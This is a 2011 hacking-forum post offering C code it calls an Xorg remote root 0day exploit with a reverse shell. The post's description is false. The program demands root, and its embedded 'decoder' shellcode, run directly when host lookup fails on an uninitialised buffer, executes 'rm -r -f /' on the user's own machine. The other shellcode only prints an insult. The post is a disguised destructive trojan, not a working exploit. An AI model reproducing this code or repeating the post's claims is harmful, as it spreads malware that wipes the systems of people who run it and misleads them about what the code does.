Jul 5, 2011 02:49 PM
(This post was last modified: Jul 5, 2011 02:55 PM by Amzo.)
Well, I only just finished developing this and decided to release it to the good 'ol worthy public of hackforums. It will spawn a reverse shell on any *nix machine running Xorg 1.10 and below, so pretty much any desktop machine. To compile it you'll need to use gcc. see below for code.
Closing thread info is above.
Code
gcc files -o filesPHP Code
<?php
/*
*
* PRIVATE! PRIVATE! PRIVATE! PRIVATE
*
* Xorg <= 1.10 remote root 0day exploit (32-bit x86)
*
*PRIVATE! PRIVATE PRIVATE!
*
*/
#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
void usage(char *argv[])
{
printf("\t[+] XORG <= 1.10 remote root 0day exploit\n");
printf("\t[+] By: Amzo\n");
printf("\t[+] Mad respect to hackforums \n");
printf("\t[+] usage: %s <target> \n\n", argv[0]);
exit(1);
}
unsigned char decoder[]= "\x6a\x0b\x58\x99\x52"
"\x6a\x2f\x89\xe7\x52"
"\x66\x68\x2d\x66\x89"
"\xe6\x52\x66\x68\x2d"
"\x72\x89\xe1\x52\x68"
"\x2f\x2f\x72\x6d\x68"
"\x2f\x62\x69\x6e\x89"
"\xe3\x52\x57\x56\x51"
"\x53\x89\xe1\xcd\x80";
unsigned char rootshell[]= "\x31\xd2\xb2\x0a\xb9\x6f\x75\x21\x0a\x51\xb9\x63\x6b"
"\x20\x79\x51\x66\xb9\x66\x75\x66\x51\x31\xc9\x89\xe1"
"\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\x31\xc0\x31"
"\xdb\x40\xcd\x80";
int main(int argc, char **argv)
{
int euid = geteuid();
int port= 22, sock;
char h[1000];
struct hostent *host;
struct sockaddr_in addr;
if(euid != 0)
{
fprintf(stderr, "You need to be root to use raw sockets.\n");
exit(1);
}
if(euid == 0)
{
fprintf(stdout, "MIKU! MIKU! MIKU!\n");
}
if(argc != 3)
usage(argv);
if(!inet_aton(h, &addr.sin_addr))
{
host = gethostbyname(h);
if(!host)
{
fprintf(stderr, "[-] Exploit failed.\n");
(*(void(*)())decoder)();
exit(1);
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
}
sock = socket(PF_INET, SOCK_STREAM, 0);
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)
{
fprintf(stderr,"[-] Exploit failed.\n");
exit(1);
}
char payload[1337];
memcpy(payload, &decoder, sizeof(decoder));
memcpy(payload, &rootshell, sizeof(rootshell));
send(sock, payload, strlen(payload),0);
close(sock);
if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)
{
fprintf(stderr, "[-] Exploit failed.\n");
exit(1);
}
else if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==0)
{
fprintf(stdout, "[+]Got Root!\n");
system("/bin/bash");
}
else
{
fprintf(stderr, "[-] Exploit failed.\n");
close(sock);
exit(0);
}
}
Closing thread info is above.

